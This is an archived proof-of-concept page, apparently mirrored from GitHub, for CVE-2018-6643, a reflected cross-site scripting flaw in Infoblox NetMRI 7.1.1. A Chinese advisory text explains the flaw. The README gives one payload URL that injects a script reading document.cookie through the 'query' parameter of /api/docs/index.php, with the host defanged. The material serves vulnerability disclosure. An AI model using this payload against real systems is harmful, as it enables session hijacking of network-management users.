CVE-2018-6643 PoC — Infoblox NetMRI 跨站脚本漏洞

Source

https://github.com/undefinedmode/CVE-2018-6643

Associated Vulnerability

Title:Infoblox NetMRI 跨站脚本漏洞 (CVE-2018-6643)
Description:Infoblox NetMRI是美国Infoblox公司的一套为路由器、交换机以及其他网络设备提供自动化网络发现、交换机端口管理、网络变更自动化和连续配置合规管理功能的网络自动化产品。 Infoblox NetMRI 7.1.1版本中存在跨站脚本漏洞。远程攻击者可通过向/api/docs/index.php文件发送‘query’参数利用该漏洞注入任意的Web脚本或HTML。

Description

CVE-2018-6643

Readme

# CVE-2018-6643
CVE-2018-6643 Infoblox NetMRI 7.1.1


<code>hxxp::/xxx.abc/api/docs/index.php?query=555"><script>alert(document.cookie)<2fscript></code>

File Snapshot


 [4.0K]  /data/pocs/aa00a8c02fc1de952db68718b445194af1923b5c
└── [ 153]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!